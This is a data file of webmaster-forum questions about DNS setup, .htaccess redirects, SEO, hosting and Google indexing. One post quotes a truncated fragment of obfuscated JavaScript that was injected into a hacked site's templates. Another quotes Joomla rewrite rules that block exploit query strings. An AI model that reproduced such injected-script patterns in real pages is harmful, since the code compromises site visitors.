{"id":"55952","title":"How to add domain to hosting?","text":"I created a hosting (free) and register a free domain at another site. How to configure it to work site. Hosting says: > Please change the DNS of your domain to the following and allow 24-48 hours > for the DNS update: dns1.freehostia.com dns2.freehostia.com But at domain site I have three fields: 1. HOST 2. Type(A, CNAME) 3. IPv4"}
{"id":"19641","title":"Help regarding ugrading iis on windows xp","text":"i am right now on windows xp and iis v5.1, Can i upgrade this to IISv6.0 on windows xp, is it supported. IF so where should i download the installation file for it."}
{"id":"51774","title":"Why does this .htaccess loop?","text":"if I try to redirect any page on a certain domain to one specific page (SEO does not matter, here), this ends in a loop - but I don't get why: RewriteCond %{HTTP_HOST} ^domain.com$ [NC] RewriteCond %{REQUEST_URI} !^\/page\\.html$ [NC] RewriteRule ^(.*)$ http:\/\/domain.com\/page.html [R=302,L] I am able to use the same page in a positive second condition: RewriteCond %{HTTP_HOST} ^domain.com$ [NC] RewriteCond %{REQUEST_URI} ^\/page\\.html$ [NC] RewriteRule ^(.*)$ http_:\/\/_domain.com\/other-page.html [R=302,L] Please, enlighten me. TIA Complete _.htaccess_ file added (\"myedit\"s and \"Custom redirects\" are mine): AddDefaultCharset utf-8 # myedit: added default charset ## # @package Joomla # @copyright Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. # @license GNU General Public License version 2 or later; see LICENSE.txt ## ## # READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE! # # The line just below this section: 'Options +FollowSymLinks' may cause problems # with some server configurations. It is required for use of mod_rewrite, but may already # be set by your server administrator in a way that dissallows changing it in # your .htaccess file. If using it causes your server to error out, comment it out (add # to # beginning of line), reload your site in your browser and test your sef url's. If they work, # it has been set by your server administrator and you do not need it set here. ## # myedit: added (though probably not necessary, here) Options -Indexes ## Can be commented out if causes errors, see notes above. Options +FollowSymLinks <IfModule mod_rewrite.c> ## Mod_rewrite in use. RewriteEngine On ## # Uncomment following line if your webserver's URL # is not directly related to physical file paths. # Update Your Joomla! Directory (just \/ for root). ## # myedit: moved up from below \"Custom redirects\"; may not be needed #RewriteBase \/ ## Begin - Rewrite rules to block out some common exploits. # If you experience problems on your site block out the operations listed below # This attempts to block the most common type of exploit `attempts` to Joomla! # # Block out any script trying to base64_encode data within the URL. RewriteCond %{QUERY_STRING} base64_encode[^(]*\\([^)]*\\) [OR] # Block out any script that includes a <script> tag in URL. RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR] # Block out any script trying to set a PHP GLOBALS variable via URL. RewriteCond %{QUERY_STRING} GLOBALS(=|\\[|\\%[0-9A-Z]{0,2}) [OR] # Block out any script trying to modify a _REQUEST variable via URL. RewriteCond %{QUERY_STRING} _REQUEST(=|\\[|\\%[0-9A-Z]{0,2}) # Return 403 Forbidden header and show the content of the root homepage RewriteRule .* index.php [F] # ## End - Rewrite rules to block out some common exploits. ## Begin - Custom redirects # # If you need to redirect some pages, or set a canonical non-www to # www redirect (or vice versa), place that code here. Ensure those # redirects use the correct RewriteRule syntax and the [R=301,L] flags. # Kill www RewriteCond %{HTTP_HOST} ^www.domain1\\.com$ [NC] RewriteRule (.*) http:\/\/domain1.com\/$1 [R=301,L] RewriteCond %{HTTP_HOST} ^www.domain2\\.de$ [NC] RewriteRule (.*) http:\/\/domain2.com\/$1 [R=301,L] # Should be faster, but nogo - strange, IfModule does work #<If \"req('Host') == 'www.domain2.com'\"> # Redirect \/ http:\/\/domain2.com\/ #<\/If> # More general rule, If we _wanted_ www - does \"http_host - www\" exist? #RewriteCond %{HTTP_HOST} !^www\\. #RewriteRule ^(.*)$ http:\/\/www.%{HTTP_HOST}\/$1 [R=301,L] # Get the right page for domain2.com #RewriteCond %{HTTP_HOST} ^domain2\\.com$ [NC] #RewriteRule ^(.*)\/page\\.html$ \/other-page.html [L] RewriteCond %{HTTP_HOST} ^domain2\\.com$ [NC] RewriteCond %{REQUEST_URI} !^\/page\\.html$ [NC] RewriteRule ^(.*)$ http:\/\/domain.de\/page.html [R=302,L] # Redirect \/+ to google+ #Redirect 301 \/+ https:\/\/plus.google.com\/u\/0\/id-here\/about # Shortlink for google maps #RewriteRule ^$ http:\/\/goo.gl\/maps\/short-url-here [R,L] # ErrorDocument - nogo, needs joomla extension? #ErrorDocument 404 \/404.html # ## End - Custom redirects ## Begin - Joomla! core SEF Section. # RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] # # If the requested path and file is not \/index.php and the request # has not already been internally rewritten to the index.php script RewriteCond %{REQUEST_URI} !^\/index\\.php # and the request is for something within the component folder, # or for the site root, or for an extensionless URL, or the # requested URL ends with one of the listed extensions RewriteCond %{REQUEST_URI} \/component\/|(\/[^.]*|\\.(php|html?|feed|pdf|vcf|raw))$ [NC] # and the requested path and file doesn't directly match a physical file RewriteCond %{REQUEST_FILENAME} !-f # and the requested path and file doesn't directly match a physical folder RewriteCond %{REQUEST_FILENAME} !-d # internally rewrite the request to the index.php script RewriteRule .* index.php [L] # ## End - Joomla! core SEF Section. <\/IfModule>"}
{"id":"42402","title":"Testing the application","text":"We are nearing finish of the web application done in RoR (it is Social website). I am not RoR person, I am just JS\/Jquery side. All of us do not have much experience with big applications, and this is the first one we have ever done (not counting small apps). It look and feels ok, but except normal testing done by humans we have not used another testing available. What can you recommend me to do? What programs are out there that I can use to stress the application and create scenarios? Some application that will crawl all around the place and find problems\/vulnerabilities that we have not yet detected? I am walking blind here, so any help is kindly appreciated. :)"}
{"id":"42405","title":"Cannot alter file permission on server (550). Is this because I have no domain name?","text":"I am building a site on a CMS (modx) for a client who has not decided on their domain name. I have access to WHM so just set up an account with out pointing any domain name to it and began developing just using the URL `http:\/\/example.com\/~newsite` Everything seemed to be going well until I installed TinyMCE (the WYSIWYG text editor) which allows you to browse and upload images on the server and add them to page content. The editor worked fine but I just couldn't access any files on the web server. Looking into the issue I saw that many files that were part of TinyMCE were non executalbe (644). I tried changing them but got a 550 error, eg: `550 Could not change perms on jquery-1.4.2.js: Operation not permitted` Could this be something to do with the way I am accessing the files on FTP? I am using the hosting servers IP address as the host, rather than a hostname. Any advice would be appreciated! Thanks"}
{"id":"52656","title":"Google search results show my title incorrectly twice","text":"Does anyone know why Google shows my title twice in search results? And it's the wrong title too. Here's a screenshot: "}
{"id":"59922","title":"Only Google showing meta title twice in google","text":"My Site meta title appearing twice in google but it is showing good in Structured Data Testing Tool and showing good too in other search engines"}
{"id":"56601","title":"Should mobile webpages have hreflang links to non-mobile pages?","text":"My site has multilingual links, which are specified like this on non-mobile pages: <link rel=\"alternate\" hreflang=\"en\" href=\"http:\/\/mydomain.com\/page\" \/> <link rel=\"alternate\" hreflang=\"jp\" href=\"http:\/\/ja.mydomain.com\/page\" \/> <link rel=\"alternate\" hreflang=\"ko\" href=\"http:\/\/ko.mydomain.com\/page\" \/> In addition, these non-mobile pages link to a mobile version: <link rel=\"alternate\" media=\"only screen and (max-width: 640px)\" href=\"\/mobile\/page\" \/> Now the question is about what links should be in the mobile page, which isn't translated to different languages now. Is this enough: <link rel=\"canonical\" href=\"\/page\"\/> Or should I also have the same group of hreflangs that point to non-mobile pages?"}
{"id":"56350","title":"Using a canonical link with non-duplicate pages","text":"I want to use canonical tag for `index.php` and all versions of `index.php` below: index.php index.php?something index.php?somethingsomething I also have URLs like: `someproduct.html` However, I am using packaged software and cannot add a canonical link to just `index.php` and its variations, the software will also add it to `someproduct.html`. Do you know how Google will respond to `someproduct.html` page if I do this?"}
{"id":"17338","title":"How to 301 redirct all incoming requests to a domain to another domain?","text":"I have a WordPress blog running on an Apache2 server currently that I need to completely move to a new domain name. `http:\/\/www.somesite.com\/` to `http:\/\/www.someothersite.com` I need all requests to that domain to be redirected to a new domain name. Can this be done with .htaccess? If so what's the rule to be used?"}
{"id":"52326","title":"Should I 'mark as fixed' deleted pages in Google Webmaster Tools?","text":"I have deleted a couple of thousand pages from a website. They do not appear in my _sitemap.xml_ and no other pages on the web are pointing to these anymore. Google Webmaster Tools (GWT)'s _crawl error_ pages starts to report them as not found. There is an option to mark them as fixed. Should I mark them as fixed? They are not really fixed and won't ever be fixed. There is also a _remove URLs_ page, but there is no way I will manually remove those pages one by one (REM: those pages are not in a single directory, they were all over the place, so there is no _robots.txt_ directive I could use). If Google does not find a page, does it automatically remove it from its index, or if we mark it as fixed, does it try to reach it over and over again?"}
{"id":"17335","title":"Control Content Hosting, DNS Hosting and Registration with command line?","text":"I am fed up with Blogger's odd error msgs and Go Daddy's automatic replies to questions. They have never mentioned the word \" **DNS Hosting** \" to me, apparently the thing I am missing. I would really love to learn things, instead of learn to \"click\" things. I want to see what happens at the background. So is it possible that I do everything (3 things below)? 1. DNS hosting <---- ?? by whom is this thing controlled? 2. content hosting <--- needs some laptop 3. Registration <-- needs ICANN approval ok, I am totally lost with this mess but I am looking for a simpler way to control things. I would really love a powerful commandline access and edit things in files (instead of Go Daddy's click this that blaaH). Anyone solved this problem for powerusers more simply?"}
{"id":"8120","title":"How to promote a site that sells specific software if all places where potential buyers hang prohibit advertisement?","text":"Let's consider an abstract situation: We develop a commercial plugin for Joomla that does something. For example it turns all normal links into SEO links (I know it's trivial but it's just an example). Now we want to reach people. We add our software webpage to the most obvious places like Google Ads, software directory websites, etc.. However the first thing that comes to mind is to actually let Joomla users and SEO folks know about this software. And then comes the problem: all such places (Joomla forum, various big SEO forums) prohibit advertisement. What is the way to deal with that? It's quite natural that I want to let Joomla users know about software that might help them but at the same I can't break rules. I can think of tricks like creating topics that would pretend to not have ads (e.g. \"did anyone use this plugin, is it good?\") but I don't want to go that path very much."}
{"id":"52323","title":"Conveying website hierarchy using page title. Any conventions?","text":"I was thinking of using a format like: `[SpecificPageName - ]SiteName - SectionName` * StackOverflow - Download * StackOverflow - Contact * StackOverflow - Forum * hey guys my 1st post - StackOverflow - Forum * this site has nice titles - StackOverflow - Forum However, I don't really see the last two examples used anywhere. Apple sometimes uses a `:` to signify a specific page in section: * hey guys my 1st post: StackOverflow - Forum But the use of a `:` eeks me out a bit. Anyone know a good convention for this?"}
{"id":"7926","title":"The SEO benefit of breaking up content onto different websites","text":"I have a client who's been told that breaking up his content onto multiple websites will give him an SEO boost. I'm wondering if this is true. Let me break it down thus... * the client has bought multiple domain names * he does training in VMware, ITIL, Novel, Citrix, etc. * he wants to make **_1_** website which just talks about vmware training, **_1_** website which talks about novel training, **_1_** website on Citrix, etc. * each website would use a related domain name (e.g. the VMware specific website would use `www.vmwaretrainingmelbourne.com.au`) * all the websites use the same design\/layout (you can tell its the same company) Will breaking up the site in this way really provide better Google rankings?"}
{"id":"7927","title":"How to filter out Yottaa bots traffic in Google Analytics?","text":"I'm using both Google Analytics and Yottaa for my website. Yottaa bots send quite a lot a traffic (relatively to the normal traffic of my website), and thus my Google Analytics is kind of flooded by that. I don't know how to tell Yottaa bots traffic and normal human traffic apart on Google Analytics. How to do that?"}
{"id":"10310","title":"I'm on Charter's email blacklist, how do I get removed?","text":"I am a programmer in a local government agency. I found out today when I got to work that Charter Internet has blacklisted us for our mailing list that we run. This list is used for communicating news and alerts for our residents. Does anyone have a phone # I can use to contact Charter about this? Normally the email approach is fine, but we have yet another snow storm coming and 75 of our customers won't be alerted to a snow emergency if we have one and may possibly be towed as a result."}
{"id":"8111","title":"Is there a way that is more efficient than sitemap to add\/force recrawl\/remove your website's index entries in google?","text":"> **Possible Duplicate:** > StackOverflow and Google search I'll make it more simple: Right now I am posting this question, after a minute or two... may be it will appear on google search query: \"stackexchange more efficient way sitemap\" as a google indexed page. My question is: is this done ONLY BY changes performed in sitemap.xml of STACKEXCHANGE.COM, or there is something else, and other more efficient ways to reindex pages of big dynamic sites so fast and accurate?"}
{"id":"8786","title":"How does Stack Overflow have questions appear in Google so quickly?","text":"> **Possible Duplicate:** > StackOverflow and Google search I have noticed while asking questions on Stack Overflow that they appear in Google almost instantly. How does SO do this? Is it a feed or an auto-updated site map?"}
{"id":"59181","title":"How to get google reference newest pages","text":"Like stackoverflow, you see some very recent pages , even 1 hour old pages, how do you get google to come to my website and reference pages as soon as they are present ? thanks!"}
{"id":"18017","title":"Stack overflow like SEO - How is it done?","text":"> **Possible Duplicate:** > StackOverflow and Google search this is a question purely for learning purpose. I have noticed that this site has an incredible power of appearing in search engines. Questions as new as 2 days old appear on search results. Can someone please advise me or point me towards resources on how to make a website this versatile towards SEO? I did a brief search and came up with these: 1) **Submit xml site map to search engines** - this is really going to be a log, as there are tonnes of questions generated every day. If this is infact the way to go, how often should I submit the sitemap and where? 2) **have each page contain it's own unique title and meta tags (desc, keywords)** - How will I know what goes into each page to make key words out of it? The main thing that escapes my brain is, how would each question (the title is different, so as far as the search engine is concerned, it's a new page) - how would I tell the engines that I have a new page? Thanks."}
{"id":"53128","title":"What effects that new content shows on Google right away?","text":"When I post a question or content on some websites (for example StackOverFlow is a great example) and then when I search on Google for same content, I can see my question\/content on search results in less than 5 minutes! What are the key points to achieve that for our websites, so we would not need to wait for days or weeks to googlebot to hit our websites and show them on the search results? My first thoughts are, * pagerank should be high, * website should be in top 10,000 of most visited websites (should be very popular) * google should trust this website (I do not know if they have a kind of trusted label), * dynamically ping google (maybe via api?) there let google know there is a new content or reindex website content. * do nothing special, just apply basic SEO techniques (like page titles, meta tags, h1 tags etc) and google will eventually show your content right away? Is there any thoughts on this?"}
{"id":"7928","title":"Browsers with pop-up blocker enabled by default","text":"I'm trying to convince a client that adding pop-up or pop-unders isn't worthwhile. The argument \"pop-ups are annoying and your users won't return\" doesn't work because it's not the kind of site that people will visit regularly -- just buy and leave. I'd like to be able to look at the site's traffic data and point to the very high percentage of users who are using browsers which not only have pop-up blockers but have them turned on by default. Can anybody provide a list of browser versions which have the pop-up blocker enabled in the standard installation? Alternately, are there other good data points which demonstrate the ineffectiveness of pop-ups?"}
{"id":"56525","title":"How can I check memory usage for each cPanel account?","text":"Currently I have 4 cPanel accounts running on my VPS. I need to check the memory (RAM) usage for each account on the VPS to identify which of them is using high resources in order to ban. I opened the \"Daily Process Log\" in WHM but it is not showing the username or which accounts exactly uses resources. WHM displayes the following under the \"User\" column: root, nobody, mysql, dovenull, dovecot, mailnull, mailman, sshd, named, DELAYED, leechprotect, eximstats"}
{"id":"38","title":"What are the ways to get included in Google Alerts mails","text":"There is a news website \/ blog - I'll call it the Site from now on. The site mention a keyword in one of its articles. I add a Google Alerts for the keyword, but I do not get any alert for the word from The Site. Furthermore, searching the keyword in the news section don't getting any results from The Site. The Site has a sitemap, that indexed by Google every x minutes. And in the main search, searching for a news title bring the item on the top. What are the best ways to get included in Google Alerts mails?"}
{"id":"16428","title":"is there a good registrar for .com.br and .it?","text":"I am searching a good registrar (not godaddy) for .com.br .it .fr .de .ch .es Is there someone who can take it all? I would go with Enom but it hasn't `.fr .com.br .ch .es` Thanks guys"}
{"id":"50446","title":"Changing www.sitename.com\/administrator","text":"How to change `www.sitename.com\/administrator` to `www.sitename.com\/administratorSr5£d?€-^@L` (or anything similar) in order to make it very very hard for any spiteful person or hacker to reach the backend even if, somehow, he was able to identify the username and password?"}
{"id":"52156","title":"Keyword density importance for keyphrase vs keyword","text":"If i need to optimize page for the keyphrase which consists of 4 words e.g. _\"keyword density best practice\"_. What if the the keyword density of the phrase _\"keyword density\"_ is over optimized(e.g.40%). Would keyword stuffing for _\"keyword density\"_ phrase be considered while ranking page for the query _\"keyword density best practice\"_?"}
{"id":"16424","title":"Google+1 button strategy - Combined +1s or separate +1s?","text":"I have included the Google+1 button on my blog. Each post outputs a +1 button on the bottom. Depending if you are viewing the actual post or just the main page the +1 button will \"+1\" either the post address or blog website address. This made me think for a bit if the +1 button should be configured to +1 the blog section (www.example.org\/blog), +1 the main website address (www.example.org), or +1 individual posts?"}
{"id":"14010","title":"Online dead link alert service","text":"I'm looking for an online service that will periodically (daily) check for broken links on my site (~100 pages). I see lots of tools that you can download and run, and indeed have used such tools in the past. But this seems like an obvious task for an online service: sign up, tell it my URL, then it would only email me if there are more broken links today than there were yesterday. My organisation's web site is not our major focus, and it's only a small part of my job. Hence the need to completely automate tasks where possible."}
{"id":"16419","title":"Setting up a subdomain for an already existing subfolder","text":"> **Possible Duplicate:** > Subfolder won't permenantly redirect to subdomain I have a forum installed in a subdirectory (http:\/\/www.example.com\/forums\/), but I want to have it accessed through forums.example.com and all traffic from the subdirectory passed to the subdomain. From what I can read online this is a little bit harder since the subdirectory and subdomain would be the same name. I'm on a shared server so I can't setup the subdomain outside the root folder and ideally I want to still have it setup so other scripts I use outside of the forums can access the \/forums\/ subfolder (i.e. DOCUMENT_ROOT using PHP). I'm not well versed at all in this so any help would be appreciated."}
{"id":"54573","title":"What is this chargeback scam from eBooks bought on my website?","text":"We have a scammer that is buying our e-Books and then performing chargebacks. Our e-Books don't have DRM, so if they wanted to resell them, they would only need to buy each book once. But instead, they keep buying the same books over and over again and then performing hundreds of chargebacks. We have created some additional rules in our fraud protection tools to block certain aspects, even though all the info looks legit, and are hopeful this will slow them down. But my question is: What is the scam? If they aren't getting any product and they only get chargebacks for something they already purchased, then they can't get additional money from the credit card company, so then what's their motivation?"}
{"id":"50245","title":"Web designer's link back to own website (rel=\"designer\" \/ rel=\"nofollow\")","text":"I read somewhere that web designers' habit of placing a default \"follow\" link in the footer of their client websites is bad for SEO. Is this true? If so, should we use `rel=\"nofollow\"` instead. I have seen `rel=\"designer\"` in some free WordPress themes."}
{"id":"6297","title":"Recommended Site Redundancy Options","text":"I am developing a site for a client who is emphasizing \"no downtime allowed\". Now even cloud hosting doesn't provide a 100% up-time promise, so I've been thinking about mirrored hosting, where if one host goes down, the other takes over. I am unsure how I'd go about setting the DNS to switch on an outage and this is running low budget, as it's a non-profit organization. If anyone has experience doing this, I'd like to know the best way to go about it. The site is LAMP. I did think about adding disallow in the robots.txt for the duplicate site to avoid SEO penalties, but other than that am running blind, so any advice would be gladly received."}
{"id":"6296","title":"Applying a CSS style to drop-down list","text":"I have a PHP function to display all my custom taxonomies in a drop-down list, but I don't like the drop down menu style. I want to change the look of it. How can I customize its look?"}
{"id":"6294","title":"How to style a div on the home page like a blog post","text":"I have a theme. Because I don't have a static home page, a list of my latest posts is my home page. I want to add a drop-down box which I have coded on my starting home page which should remain static (just for home section). For this, I tried to code it in `index.php`, but the problem is the box is outside that. It is not coming up. I mean that the post is wrapped in a box content, the same as I want for my drop-down menu. See this image, with HELLO text:  Normally it is coming in simple line, but I want it to be wrapped in a box, like the posts. I know that I just need to put a small `div` and `p` tag. I tried, but maybe my position is wrong, can anyone help me here"}
{"id":"6292","title":"PHP framework to use on GoDaddy host with no shell access","text":"I'm a Ruby-on-Rails developer but am trying to develop a site to run on a GoDaddy Economy hosting account. This means I don't have Ruby and Rails available so I've decided to go with PHP 5 since the economy hosting _does_ provide that. So to ease development I want a PHP framework (ideally Rails- like like, say, Akelos) that I can install and configure on my GoDaddy site _without having shell access to the hosting server_. Does anybody have any recommendations or experience with similar?"}
{"id":"6290","title":"Meta Keywords Optimization Best Way to Proceed?","text":"I am on a wallpapers blog project... When i generate leech pages I put in the tags about that image in meta information... But i also need to tell that these are wallpapers... So what is the best way to do it... like for an iron man wallpaper i would do this <meta name=\"keywords\" content=\"iron , man , tony , stark\" \/> _**Should I be adding wallpapers to the keywords?..._**"}
{"id":"60094","title":"Should a domain be accessible via IP as well?","text":"I have a domain which is accessible through the domain name of course. However, it seats on a unique IP, as it is hosted on a VPS. But I can't access it through that unique IP (I'm getting into a default page of my webhost). I noticed that some other websites, are accessible through their IP as well (which I find out by whois). So, is it a good thing that I'm missing? maybe it can be good for SEO? my host says that If they somehow configure the IP to the content of the domain, it could mess some configurations up... not very savvy in that field."}
{"id":"32639","title":"Web Server Directory \/ URL question","text":"Ok..So I know this is an easy question, but I just don't know. Given the URL: http:\/\/mail.google.com\/ What is mail? Is that a directory or what? I have a domain, and I want to put a webpage on an address like this..how would I go about doing that? I would like to have: http:\/\/mypage.mydomain.com\/"}
{"id":"10578","title":"Incorrect Meta information in Google","text":"Google shows up incorrect meta info (title & description) in search engine results for an add domain and the information is of the domain which is the primary domain of the hosting account. I mentioned this fact because add-on domains are in a sub-directory of the primary domain. Any ideas what could be the reason?"}
{"id":"20805","title":"Leveraging a facebook app for SEO","text":"I am contemplating writing a facebook app for my website. I want to know how I can use the app to aid with Google ranking. More specifically, are there things I can do (an obvious one being placing links back to my website etc) to increase visibility of my site? Also, will the links from my fb app to my website be \"nofollow\"? (I suspect the amnswer is yes), in that case (if links back to my site are \"nofollow\"), will I benefit much (from an SEO POV) by implemnting the app?"}
{"id":"63546","title":"Hide query parameters in RewriteRule","text":"I have the following rule: RewriteRule ^farm-products\/([A-Za-z0-9-]+)\/([0-9]+)\/([A-Za-z0-9-]+)\/([0-9]+)\/([0-9]+)\/?$ products.php?$1&page=$2&what=$3&t=$4&cat=$5 The user sees: http:\/\/www.example.com\/farm-products\/agencies\/56\/b\/88\/32458 Is it possible to hide from the URL the query parameters? I want to show only: http:\/\/www.example.com\/farm-products\/agencies\/"}
{"id":"58592","title":"Why does my URL appear with #sthash.RXOAdGce.dpbs after it?","text":"I have set up a subdomain which for some reason attaches #sthash.RXOAdGce.dpbs to the end of the URL making it look like this: `<http:\/\/info.example.com\/#sthash.gmiCS9nc.dpbs>`. I am wondering why this happens and how I can get rid of it. As a bit of background info on things, the subdomain was set in cPanel on 1 server and an 'A' record set on a different server to redirect to the subdomain when the original site is eventually disabled."}
{"id":"60821","title":"Should notification messages be embedded in html or separate using jQuery?","text":"I was originally thinking I could make a notification bar using jQuery. The downside is if someone has javascript disabled, they would never see the message. The upside is that the messages wouldn't be crawled, which could potentially lead to misleading or outdated information when the messages are removed. Are there other benefits or disadvantages of embedding the notification messages in html vs using a pure jQuery approach? I realize that only ~1% of users actually have javascript disabled, but I'd like to consider as many users as possible. Just curious what others might have done."}
{"id":"21315","title":"Is the debate about em VS px VS % in typography still valid","text":"I have been reading a few articles about why em's are better than px in typography. And the base has to be in %, best is even to have `body{ font- size:62.5%; }`. One of the better articles I could find is located here: http:\/\/kyleschaeffer.com\/best-practices\/css-font-size-em-vs-px-vs-pt-vs\/ Basically it is says that px does not scale well on websites and devices. I have always done typography in px, and have never found any issues. I have also been working with some CSS framework and some wordpress themes, and I always see that just the normal px is used. Now I see that most of the articles are written em's are mostly from some years ago, around, I wanted to know if it is still true that px doesn't scale well, or is this not a point anymore for the modern browsers and devices. * * * On a side-note. I have even read and seen on some sites that people even go so far to do all of their styling in em's. For example the padding and the margins are done in em's. Is this necessary if you want to have a good scaling website."}
{"id":"46960","title":"Visitors are coming on the site but are not submitting questions for my Q&A site","text":"Here is my site http:\/\/starsQA.com, it's purpose is that it is has stars(actors, actresses, singers, authors) and that the fans(people who like the stars) send in questions for their fav star and they get make into interviews. Currently it has 86 stars involved in the project but it is lacking questions from fans, it is getting hits(visitors) they just aren't submitting questions. Any ideas on how to get people submitting questions??? Note: I live in New Zealand and most of the stars are in the USA (so my only contact with them is via emails) and the fans(visitors) come from all around the world, I connect with them mainly through twitter. So it would need to be a free way."}
{"id":"21313","title":"Can I get google to ban a spamming site from Adsense ?","text":"I've noticed a \"site\" that stole some of my content and they are displaying google ads. Not responding to my email. I'm quite certain that most of their content is stolen, either from other sites or from newsgroups. Whom should I contact at google so that they would hopefully deprive that site of their only source of income?"}
{"id":"38447","title":"Economical DNS hosting separate from local registrar for country specific TLDs - email or web hosting not required","text":"Our company owns many country specific top level domains (TLDs; .sg, .my). We will purchase more for other countries in all South East Asia. These domains are associated with our websites hosted on Amazon EC2. The DNS records are currently hosted on a dedicated server that will shut down tomorrow. (The name servers are set to the ones of a web hosting company) Therefore, I will need to host the DNS records somewhere else. Hosting the DNS records with the local registrar costs SGD18 a year per domain in addition to the domain price (which is already very expensive but we have no choice). It would be convenience to host DNS recors for all the country specific TLDs we have using a single service, separate from the local registrars from which we bought the domains. A few searches prompted examples like Amazon Route 53 and dnsmadeeasy.com and the likes. However, since I'm only concern about the country specific TLDs, not .com 1) Is it really economical to host DNS records of all domains in 1 single place as described above? (Have the relevant countries and\/or the local registrars done something to keep their monopoly and always charges ridiculous prices for their country specific TLDs?) 2) I would imagine I will need to tell the local registrars to update the name servers to those of the DNS hosting service provider e.g. dnsmadeeasy.com here. Am I correct about how it works here? 3) Will I be able point the TLDs themselves to IP addresses I desire (the EC2 instances where my websites are) or will I only able to do so with the subdomains? 4) Are there any drawbacks that I should know here? Background about our needs: * We need the websites associated with the country TLDs to be up and running all the times * Also, we'll need to be able to add\/edit A and CNAME records * We use Google Apps for Business for internal email so I will need to be able to add\/edit MX records and TXT records"}
{"id":"17591","title":"Website or service to view a page without Javascript","text":"Is there any website or service that allows you to submit a URL and displays the corresponding page with Javascript stripped out\/disabled?"}
{"id":"17597","title":"What is the impact of a CMS on page load time versus a static site?","text":"I am creating a 20-page site that will go on shared hosting. Each page will be about 20 KB (including HTML, CSS, and images common to all pages). To avoid manually adding navigation elements to each page, I am considering using a CMS. However, I am concerned that on a busy server, using a CMS would make the site load more slowly. In a shared hosting environment where PHP is run as a CGI binary, how much does a CMS (WordPress, Drupal, etc.) generally affect page load time, compared to both \"plain HTML\" static sites and those using PHP as merely a templating language?"}
{"id":"38497","title":"How to avoid duplicate content in WordPress eCommerce Store","text":"I run a WordPress eCommerce store powered by WooCommerce. I have a large inventory of products and most of the product descriptions are the same for all products and it's mandatory to include it. It's creating a large amount of duplicate content on the site. Each category has 6 products. I thought two solutions, can you suggest which one is the best? 1. no index and follow product page and link it to categories page using canonical tag 2. index and nofollow product page and link it to categories page using canonical tag Which is the best solution and is it a good practice to use canonical tag to link to categories page?"}
{"id":"56971","title":"Too many outgoing links due to user generated content - is this bad for SEO?","text":"I have a website that contain all user generated content. The users are free to add links to the content. I also provide my users with an about the author column, where they can add links too. All the links in my site are `dofollow`, as of now. Is this an SEO threat? There is a strong editor system and people are not allowed to spam, but there are more and more articles and about the author columns coming up with outgoing links. Nofollowing all external links is an SEO threat, as some users say."}
{"id":"3434","title":"best way of getting the dimension of a selection in photoshop","text":"When converting **psd** to **(x)html** , there's this time that you want to get the height\/width of a particular selection. For example, you have an item which is to be converted as `<div>` in coding. Then the `<div>` requires a fixed width\/height. How would you get it from the **psd**? My way is to crop the **psd** , then press `ctrl`+`alt`+`i` to get image size window. Is there a better way than this? Cause sometimes, cropping takes time depending on the **psd** file. I wanna hear it from the pro webmasters. Thanks."}
{"id":"3436","title":"how to create Joomla templates?","text":"I see a lot of sites selling Joomla templates at a premium but most of them look simple enough to build. Where can I find some tutorials to create such templates which I can provide users for free?"}
{"id":"2743","title":"Ways for a beginner to network out and find customers for web development","text":"I am new to web development. I have done a lot of studying on my own and created some projects on my own. I have reached the point where I feel that my skill will not progress much without more practice experience. I know that it is one thing to build a project to my specks and it is quite another to meet someone else's requirements. I have been working in ASP.NET and have learned quite a bit of HTML, CSS JavaScript. In my day job a work regularly with SQL and SQL Server. If you have any suggestion it would be much appreciated."}
{"id":"4591","title":"netblock ip - own hosting - home servers","text":"I host 2 websites that generate a pretty substantial traffic (about 6000 unique visitors a day both). I have business Internet at home and I own one static IP from my ISP. I run my own servers. However, I want to know why some other websites when I run a search on: http:\/\/whoishostingthis.com\/ OR http:\/\/infosniper.net\/ display the provider or hosted company as themselves, even though they are not crazy big sites, but my site is displayed as being hosted by my ISP. Is there a way to change this?"}
{"id":"49478","title":"Strange Javascript code in my html pages","text":"I've been warned up today by my friend who owns a website I made for him. I've just found that many files from the template directory have been modified today and in every of them, I can find this strange JavaScript code : <!--0c0896--><script type=\"text\/javascript\" language=\"javascript\" bv=(5-3-1);aq=\"0\"+\"x\";sp=\"spli\"+\"t\";ff=String.fromCharCode;w=window;z=\"dy\";try{document[\"\\x62o\"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w[\"<\/script><!--\/0c0896--> It looks like a virus... Any idea about how to remove it ?"}
{"id":"50629","title":"Google banned my site, how can I clear virus from my site?","text":"When you enter URL of the websites in a web-browser, warning is shown. How can I solve this problem?"}
{"id":"28257","title":"Why is Google Webmaster Tools crawling invalid URLS and showing 500 errors?","text":"Google Webmaster tools is reporting 12k+ 500 errors. Eeek! None of the URLS are valid- they all contain www.youtube.com. First, why is Google crawling these URLS if they don't exist? I supplied a sitemap, and they are of course not in the sitemap. I don't have a robots.txt blocking anything. I've checked for invalid redirects--none, and checked for unclosed tags or something that would throw www.youtube.com into the URL by accident--none. In every 'linked from', the referring URL is also a bad URL, with www.youtube.com in it. The Google Tools report no malware, and I can't check the server logs because the host won't give me access. Really stuck!! Any ideas appreciated!"}
{"id":"2030","title":"Should I set up standard email accounts? What are they?","text":"A long time ago one used to be able to count on domains having addresses like `webmaster@example.com`, `postmaster@example.com`, or `abuse@example.com` ... is this convention dead? Note: I always try to make sure to make a contact available on the websites I put up, so people can contact us if necessary. But are there reasons to handle these or other \"standard\" email addresses I might not be thinking of? I set up less email addresses than I used to since spam got so awful, and a \"predictable\" email address just seems to be an invitation to the lousy spammers."}
{"id":"2749","title":"What kind of ad format best for site header?","text":"I have room in the header of my website for ads. I've tried 480x60 banner ads and text ads from several networks, relevant to the subject matter of the website and every type of ad has performed very poorly. Skyscraper ads in the left nav perform much better. Are there best practices or research that deals with the best type of ad to place in the header of a website? Or, is there a common ratio that relates performance of banner ads vs. skyscraper ads?"}
